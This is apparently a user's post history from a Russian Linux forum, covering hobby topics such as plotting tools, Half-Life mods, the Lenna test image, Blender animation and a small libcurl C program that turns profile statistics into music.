Во всяких IDE для 40 летних детей, есть такие встроенные штуки типа как тут https://i.imgur.com/Et4k6aw.png в thonny встроенный плоттер. Питон поливает чиселки, крайне примитивный плоттер сразу рисует. Вот что-то такое только нормальное и самостоятельное + безгеморойное.
Для просто визуального контроля нашёл https://github.com/annacrombie/plot Работает просто как палка, удобно.
Но хотелось бы гуйню, чёбы с масштабом и всё такое.
UDP: Запилил себе сам https://i.imgur.com/3xfHmeT.mp4. Если доделаю по нормальному то выложу тут. А пока мне и этого топорного варианта хватает.
UDP: Аахахаах, тока сейчас заметил, голоса не мои, на фоне ютуб работал оказывается ыгыгыгы
Протри монитор, он бедный у тебя в пыли :3
Все кто любит серию Half-Life приглашаются запустить и играть в Half-Life 2. 14 Августа, ради просто забавы вывода игры в топ онлайна на всех платформах. Рекомендуется запустить и играть именно Half-Life 2 в Steam что-бы там гарантированно вывести её в топ онлайна.
Сбор игроков начнётся 14 августа в 18:00 по московскому времени. Если у вас не будет времени играть вы можете просто запустить её и свернуть хотя бы на пол часа. Но желательно конечно просто вспомнить добрые времена и пройти один из эпизодов.
Зачем? Да не зачем, просто так. Каждому игроку будет гарантированно выдана монтировка в самой игре. =)
Если вам есть кому про это сказать и где это сделать то передайте это сообщение дальше.
UDP: Все игроки спят, тихий час. Не шуметь. Пик был 16182. Наверное больше не будет
http://www.lenna.org/ [тут была сиська] https://en.wikipedia.org/wiki/File:Lenna_(test_image).png
Эти http://sipi.usc.edu/database/database.php?volume=textures прогнулись. И вообще.
Нужна тестовая картинка, с тян и желательно под CC0 всё такое =)
Лена хороша, но незнаю что с правами, там что-то про добросовестное использование от playboy. Или можно не парится?
ПЫСЫ У меня ощущение что я это уже спрашивал, но вроде нет.
UDP: Жду косплея от девушки. Потом сюда ссыль вставлю.
UDP FINAL: Баб Лена против! Толи лицемерка в виду того что попой светить с сиськами на весь мир это пожалуйста, а просто портрет в шляпке для науки и технологий ей жалко. Толь на неё надавили требовательно попросив высказать просьбу не использовать её фото в технических целях хотя использовалось всего лишь лицо в шляпке без ню, а вот сама фотка один фиг диступна в плейбой. Короче всё это мутно, но так как владелец всего этого плейбой и модель против. То ну и ладно! Я сказал только что девушке что косплей отменяется, отдал половину вознаграждения ( пясот рублёв гы ) за потраченное на обсуждение время.
Допуская то что может Лена и в правду по какой то неведомой причине реально против своей фотки и на неё никто не давил по этому поводу. Оставляю её фотокарточку в покое и на веки вечные в забвении включая даже закосы под неё.
Суть https://www.nature.com/articles/s41565-018-0337-2 нет @AP прогнулись, значит прогнулись.
Найду ещё более откровенное фото гыгыгы.
-The End-
Вот он https://github.com/GPUOpen-Effects/FidelityFX-FSR. Кто уже пилит патч для композиторов что-бы апскейлило на уровне системы? Ну типа запускаешь игру в окне, композитору говоришь, вот окно расширяй и оно у тебя в полноэкранном виде через FSR фильтрацию растягивается И да, надо на OGL2.1 перенести =)
(Да я знаю там требования к входному изображению есть иначе будет жопа, но пофиг)
Я пока не ковырял особо.
-22 июля команда разработки CS:GO запускает конкурс на 1 миллион долларов США «Грёзы и кошмары» среди работ в Мастерской.
-
-Нас интересуют 10 оригинальных раскрасок оружия, вдохновлённых грёзами или кошмарами. Каждая из 10 работ-победительниц принесёт своим авторам по 100 000 долларов США. Работу нужно загрузить в Мастерскую CS:GO, при этом у авторов должен быть аккаунт Steam -без ограничения прав. Кстати, работа может быть представлена несколькими людьми.
Подробности https://store.steampowered.com/news/?emclan=103582791432902485&emgid=2999944978192983060
Так что если умеете рисовать и умеете/научитесь подготавливать текстурки на модельки обладая хорошей идеей. Чё бы не рискнуть. Предложить вариант свой, а там пусть хоть трава не растёт, повезёт и ты миллионер, нет… ну и хрен с ним.
Мододел всея ЛОРа @xDShot уже фигачишь? =)
HECU Collective это российские модеры сделали на основе чёрной мезы мод вроде как повторяющий оригинальную игру с Барни Калхауном, охранником ставшим свидетелем звездеца который устроил Гордон Фримен. Игра проходит одновременно с временной линией похождения чувака с очками и гвоздодёром.
https://steamcommunity.com/sharedfiles/filedetails/?id=2424633574
https://www.moddb.com/mods/black-mesa-blue-shift-remake/news/chapter-2-insecurity-release
Можно качать если у вас есть https://store.steampowered.com/app/362890/Black_Mesa/ (нативочка для Linux имеется)
If I can hit this goal, I will write an SDL backend for GTK+, so that all sorts of new and wild platforms can suddenly have access to a powerful GUI toolkit.
Если я смогу достичь этой цели, я напишу бэкэнд SDL для GTK +, чтобы все виды новых и диких платформ могли внезапно получить доступ к мощному набору инструментов GUI.
Если вам такое нужно то можете поддержать идею https://github.com/sponsors/icculus
Цена вопросы штука баксов в месяц, пока есть 1$ в месяц ))))))))) негуста.
Нужно тут было взять цвет с картинки, открыл картинку пикнул через gcolor2. Бла бла бла, генерирую себе там на основе этого цвета всякое, так сяк эдак, отлаживаю, сравниваю чёт не то, ничё не работает сижу такой психую отлаживая где у меня косяк в коде. Открыл в гимпе, пикнул там… Цвет иной. Вот те и на.
То есть цвет RGB(120,50,100) а в eog показывает 126,55,98
Будьте бдительны и берегите невры.
P.S. Удалил это дерьмище, для просмотра взял GPicView 0.2.5 Всё корректно.
Версия дерьма
eog --version
Приложение для просмотра изображений для GNOME 3.38.2
Я сам кнопочным пользуюсь, смарты ненужны =). Но нужно приложение типа просто плеера что-бы были ну типа плитки по нажитии на которых воспроизводилась заданная на эти плитки музыка без перехода на новый экран (типа полноэкранный воспроизведения). Суть в том что на эти кнопки будут задаваться короткие звуки и их иногда нужно просто тыкать, тыкнул одно заиграла, тыкнул другое заиграло и всё без телодвижений по переключению, потыкал разные плееры они все при выборе песни переходят в новое окно, а списка нету и надо для выбора жать назад.
Ах да, что-бы оно ещё на автомате не поаторяло или это было настраиваемо
Привет, есть такая колёсная пара локомотива https://i.ibb.co/hgh40LZ/2021-04-05-14-17-45.png без других механических деталей. В общем как анимировать механику? Вращение я понял как для всех объектов переключаюсь на вращение кватернионами (эйлер говно) затем включаю автоматическую установку ключевых кадров, делаю вращение вокруг центров объектов (колёса отдельные) и попутно смещаю ключевые кадры, получаю 5 опорных кадров которые делают вращение всё хорошо, затем думал также анимировать ведущую балку, но блендер запоминает то как я перетащил балку от места до места эммм не то, нужно как полагается ну типа вот https://i.gifer.com/origin/bc/bcf2be8664eddd3a16c29343c8f9999c_w200.gif. Есть модификатор который от изменения положения одного объекта трансформирует другой, но я хз оно работает хорошо с шестирёнками или тип того. В общем прошу кинуть ссылку или доку или ещё что по этой теме. Так то предполагается ещё десяток механических соединений и их анимации (локомотив приводится в движение пневмоприводом который сам крепится на ось и шатается толкая ведущую балку например) так что мне не частный случай желательно а общий. Помогите советом. Или пните в нужную сторону.
Если важно то потом буду экспортировать в SMD валвовский.
cc main.c -lcurl && ./a.out https://www.linux.org.ru/people/crutch_master/profile && abc2midi lm.abc && xdg-open ./lm46.mid
main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <curl/curl.h>
#define MAX_DAYS 365
struct year
{
uint32_t date;
uint32_t messages;
}user_year[MAX_DAYS];
static size_t profile_json_size = 0;
size_t get_profile_json(void* ptr, size_t size,size_t nmem, void* userdata)
{
if(nmem==0) return 0;
char** str=(char**)userdata;
const char* input=(const char*)ptr;
if(!str[0])
{
str[0]=malloc(nmem+1);
}else{
str[0]=realloc(str[0], profile_json_size+nmem+1);
}
memcpy(str[0]+profile_json_size, input, nmem);
profile_json_size+=nmem;
(*str)[profile_json_size]='\0';
return nmem;
}
int sort_compare(const void *a,const void * b)
{
if(((struct year*)a)->date < ((struct year*)b)->date)
{
return -1;
}else if(((struct year*)a)->date > ((struct year*)b)->date)
{
return 1;
}else
{
return 0;
};
return 0;
}
void sort_profile_year(struct year* y)
{
qsort(y,MAX_DAYS,sizeof(struct year),sort_compare);
}
void distribute_profile_year(struct year * y)
{
struct year yn[MAX_DAYS]={0};
uint32_t day = 0;
for (int i = 0; i != MAX_DAYS; ++i)
{
if(y[i].date != 0) {day=i;break;};
}
yn[0].date=y[day].date;
for (int i = 1; i != MAX_DAYS; ++i)
{
yn[i].date=yn[i-1].date+86400;
}
for (int i = 0,c=day; i != MAX_DAYS; ++i)
{
if(yn[i].date == y[day].date)
{
yn[i].messages=y[day++].messages;
}
y[i]=yn[i];
}
}
int main(int argc, char *argv[])
{
enum io_args
{ arg_url = 1,
arg_out = 2,
};
CURL * curl;
CURLcode res;
curl = curl_easy_init();
char * profile_json_data = NULL;
char urlbuff[1024]={0};
snprintf(urlbuff,1023,"%s%s",argv[arg_url],"?year-stats");
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL,urlbuff);
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &profile_json_data);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION,get_profile_json);
res = curl_easy_perform(curl);
if(res != CURLE_OK)
{
fprintf(stderr, "curl_easy_perform() failed: %s\n",
curl_easy_strerror(res));
curl_easy_cleanup(curl);
return 1;
}
curl_easy_cleanup(curl);
}
for (size_t i = 0,c = 0; i < profile_json_size; ++i)
{
unsigned int messges_nums=0;
unsigned int messges_date=0;
if(profile_json_data[i]=='"')
{
if(sscanf(profile_json_data+i,"\"%d\"",&messges_date)==1)
{
user_year[c].date = messges_date;
};
}
if(profile_json_data[i]==':')
{
sscanf(profile_json_data+i,": %d",&messges_nums);
user_year[c++].messages=messges_nums;
}
}
sort_profile_year(user_year);
distribute_profile_year(user_year);
for (int i = 0; i != MAX_DAYS; ++i)
{
printf("[%d][%3d] -> %i\n",user_year[i].date,user_year[i].messages,i);
}
FILE * out = fopen("lm.abc","w");
if(!out)
{
return 1;
}
fprintf(out, "X:46\nK:C\n");
static char * abc_language_table[30] =
{
"F,,","b",a","g","f","e","d","c ",
"B,","A,","G,","F,","E,","D,","C,",
"B,,","A,,","G,,","F,,","E,,",
"D,,","C,,","B,,,","A,,,","G,,,",
"F,,,","E,,,","D,,,","C,,,",
};
static char * xM[7]=
{
"\"Cm\" ",
"\"Dm\" ",
"\"Em\" ",
"\"Fm\" ",
"\"Gm\" ",
"\"Am\" ",
"\"Bm\" ",
};
if(strlen(urlbuff) > 32)
{
int size =strlen(urlbuff);
for (int i = 32; urlbuff[i] != '/' && i < size;)
{
fprintf(out, "%s",abc_language_table[urlbuff[i++] % 29]);
}
}
for (int i = 0; i < MAX_DAYS; ++i)
{
if(i%7==0)
{
fprintf(out, "\n%s", xM[i%6]);
}
fprintf(out, "%s",abc_language_table[user_year[i].messages % 29]);
}
fclose(out);
return 0;
}
:D
Пустое сообщение.
| ← назад | следующие → |